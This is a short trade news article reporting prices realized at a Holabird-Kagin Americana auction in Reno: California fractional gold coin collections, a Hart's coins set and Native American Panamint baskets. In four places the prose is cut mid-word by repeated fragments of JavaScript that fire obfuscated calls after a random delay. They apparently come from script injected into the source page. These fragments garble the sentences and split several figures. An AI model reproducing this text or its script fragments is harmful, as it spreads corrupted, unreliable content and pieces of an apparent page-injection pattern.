RENO, NEV. — Holabird-Kagin Americana reported exceptional sales prices for the collections that crossed the auction block at the April 12–13 auction conducted at the Atlantis Casino Resort.
The Jack Totheroh collection of about 200 California fractional gold coins was estimated to sell for $360,000 given comparable sales records. However, Holabird-Kagin Americana realized almost two andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one-half times above the estimate, selling the entire coin collection for $865,358. Similarly, the Bergen-Istvan collection, which contained 19 finest known andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 13 second finest known coins, was estimated at $161,850 but sold for $251,861.
The Hart’s coins of the Golden West set was estimated at $38,650 but sold for more than twice above the estimate — $79,841 for the set, all finest known examples.
Even outside of the realm of coins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and numismatics, the firm’s $2.4 million sale broke records in Native American Panamint baskets, which garnered attention from bidders across the globe. With a low estimate of $58,100, the collection sold for $106,014.
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Prices reported include the buyer’s premium.
Holabird-Kagin Americana is accepting consignments for its summer sale, set for August 23–24 in Reno at the Atlantis Hotel Casino Resort. The firm’s Western Americana collections sale is June 15–16.
For additional information, www.holabirdamericana.com or 877-852-8822.